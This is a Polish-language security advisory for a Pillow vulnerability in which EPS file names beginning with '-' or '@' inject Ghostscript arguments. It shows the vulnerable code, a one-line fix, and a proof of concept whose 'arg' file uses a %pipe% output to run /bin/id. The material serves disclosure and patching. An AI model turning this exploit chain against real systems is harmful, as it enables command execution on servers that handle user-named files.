Pillow: Wstrzykiwanie argumentów przy wywołaniu Ghostscript, potencjalnie prowadzące do RCE
Podsumowanie
PIL.EpsImagePlugin.Ghostscript() buduje linię poleceń Ghostscript przy użyciu ścieżki pliku wejściowego (fp.name) bez jej sanityzacji, umieszczając ją w -f <infile>. Nazwa pliku zaczynająca się od - jest interpretowana przez Ghostscript jako opcja, co prowadzi do wstrzyknięcia argumentów linii poleceń; może to zostać powiązane w łańcuch prowadzący do RCE (patrz Wpływ). Problem występuje przy domyślnym wywołaniu w Pillow (z włączonym -dSAFER).
Szczegóły
Typ
CWE-88 (Argument Injection) (→ opcjonalnie CWE-78 (OS Command Injection), w przypadku kontrolowania pliku tekstowego przez atakującego)
Podatny kod
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # default sandbox — does NOT stop this injection
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # injected here: inserted into argv with no check for
# option prefixes (-, --) or Ghostscript's @-file token
# => argument injection (CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
Przyczyna źródłowa
Podczas renderowania obrazu EPS funkcja PIL.EpsImagePlugin.Ghostscript() konstruuje wiersz poleceń Ghostscript, używając ścieżki pliku wejściowego (fp.name) i umieszcza ją bezpośrednio na pozycji -f <infile> listy argumentów. Ścieżka ta może być kontrolowana przez użytkownika, jednak Pillow nie wykonuje walidacji ani neutralizacji tokenów, które Ghostscript traktuje specjalnie podczas parsowania argumentów wiersza poleceń — w szczególności wiodącego znaku - lub -- (który Ghostscript interpretuje jako opcję, a nie nazwę pliku) oraz wiodącego @ (składnia pliku argumentów Ghostscript, która powoduje odczytanie dodatkowych argumentów wiersza poleceń ze wskazanego pliku). Ponieważ nazwa pliku nie jest normalizowana (np. wymuszana jako ścieżka bezwzględna lub poprzedzana prefiksem ./) ani sprawdzana pod kątem tych prefiksów przed przekazaniem do podprocesu, atakujący kontrolujący nazwę pliku przekazywaną do Image.open() może wstrzyknąć dowolne argumenty wiersza poleceń Ghostscript. Jest to klasyczny błąd wstrzykiwania argumentów (CWE-88), przed którym nie chroni domyślne ustawienie Pillow -dSAFER.
Podatne wersje i komponenty
- Pillow: przetestowano na 12.3.0 (najnowszej); podatny kod istnieje od dawna i wydaje się dotyczyć wszystkich bieżących wersji (w tym gałęzi
main). - Komponent:
src/PIL/EpsImagePlugin.py,Ghostscript()—infile = fp.nameoraz wpis na liście poleceń"-f", infile.
Sugerowana poprawka
Normalizacja nazwy pliku do ścieżki bezwzględnej przed przekazaniem jej do Ghostscript, aby nigdy nie mogła zostać zinterpretowana jako opcja (-/--) lub jako token pliku argumentów (@):
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # was: infile = fp.name
os.path.abspath() gwarantuje, że ścieżka zaczyna się od separatora ścieżki (lub litery dysku w systemie Windows), dzięki czemu wiodący ciąg - lub @ nie trafi do parsera argumentów Ghostscript. Gałąź else już tworzy bezpieczną ścieżkę tempfile.mkstemp() i nie wymaga zmian.
PoC
Plik dockerfile, domyślne uruchomienie prezentuje demo wstrzyknięcia argumentu (poc.py); w celu uruchomienia PoC RCE należy wykonać polecenie python3 poc-rce.py.
FROM ubuntu:24.04
RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .
CMD ["python3", "poc.py"]
poc.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
im.load()
except Exception as e:
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't display `help`")
poc-rce.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
im.load()
except Exception as e:
print(f"*********************************************")
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't call `id`")
arg
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
Wpływ
Potwierdzone — wstrzyknięcie argumentu Ghostscript. Ponieważ nazwa pliku nie jest walidowana, wiodące znaki -/-- są przetwarzane przez Ghostscript jako opcja, a nie plik. Atakujący kontrolujący nazwę pliku przekazywaną do Image.open() może wstrzyknąć argument wiersza poleceń Ghostscript. Wstrzyknięcie pojedynczego argumentu zawsze kończy się powodzeniem.
Potencjalne RCE (zweryfikowane). Nazwa pliku nie jest również sprawdzana pod kątem składni pliku @ Ghostscript: nazwa pliku w postaci @<path> powoduje, że Ghostscript odczytuje dodatkowe argumenty wiersza poleceń z <path>, umożliwiając wstrzyknięcie wielu argumentów naraz. Jeśli atakujący ma dodatkowo kontrolę nad wskazanym plikiem, podatność ta może posłużyć do wykonania dowolnych poleceń — eskalacja ta została potwierdzona w PoC (wykonanie id).
Dotyczy to domyślnej konfiguracji Pillow (z włączonym -dSAFER), w wersji Pillow 12.3.0 z Ghostscript 10.02.1. Przy tych samych argumentach GS potwierdzono również RCE w najnowszej wersji GS (10.07.1).
Dlaczego jest to błąd Pillow (a nie udokumentowane ryzyko dotyczące „blokowania niezaufanych EPS”)
Nie jest to ryzyko złośliwej zawartości EPS opisane w zasadach bezpieczeństwa Pillow: błąd jest wywoływany przez nazwę pliku, a nie przez cokolwiek w dokumencie PostScript. Całkowicie nieszkodliwy plik EPS nadal prowadzi do wstrzyknięcia argumentów Ghostscript za każdym razem, gdy na nazwę pliku przekazaną do Image.open() ma wpływ atakujący, więc aplikacje prawidłowo przetwarzające pliki EPS nadal są narażone — wytyczne nakazujące blokowanie niezaufanych danych EPS tego nie obejmują.
Ponieważ Pillow jest komponentem konstruującym wiersz poleceń Ghostscript, zapewnienie, że nazwa pliku nie zostanie zinterpretowana jako opcja (-/--) lub token pliku argumentów (@), leży po stronie Pillow, a nie po stronie każdego wywołującego go modułu. Warunek wstępny — wpływ atakującego na nazwę pliku docierającą do Image.open() — jest realny (np. punkty końcowe przesyłania plików, które zachowują lub tworzą zapisaną nazwę na podstawie danych wejściowych użytkownika), a połączenie go z tą luką w praktyce skutkuje wykonaniem zdalnego kodu (RCE). Jednowierszowa normalizacja (os.path.abspath(fp.name)) usuwa ten problem bez konieczności wprowadzania zmian w sposobie korzystania z API przez aplikacje.
Autor
Chanu Kang (z CysecLab w KAIST) @HLe4s
Co trzeba zrobić
Zaktualizuj pakiet pillow do wersji 13.0.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pillow | >= 2.6.0, < 13.0.0 | 13.0.0 |
Odnośniki
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh
- https://nvd.nist.gov/vuln/detail/CVE-2026-112900
- https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-78, CWE-88- Platforma
- Python (PyPI)
- Paczka
pillow- Ujawniono
- 21.10.2026
- Aktualizacja
- 22.10.2026 00:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-w889-685w-c8fh - CC BY 4.0
Historia podatności: pillow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 89
- Pierwsza → ostatnia
- 04.2014 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 1
Rozkład istotności
- Krytyczna 12
- Wysoka 57
- Średnia 18
- Niska 1
- Nieoceniona 1
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
wcześniej: 12
-
Pillow: Wstrzykiwanie argumentów przy wywołaniu Ghostscript, potencjalnie prowadzące do RCE ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.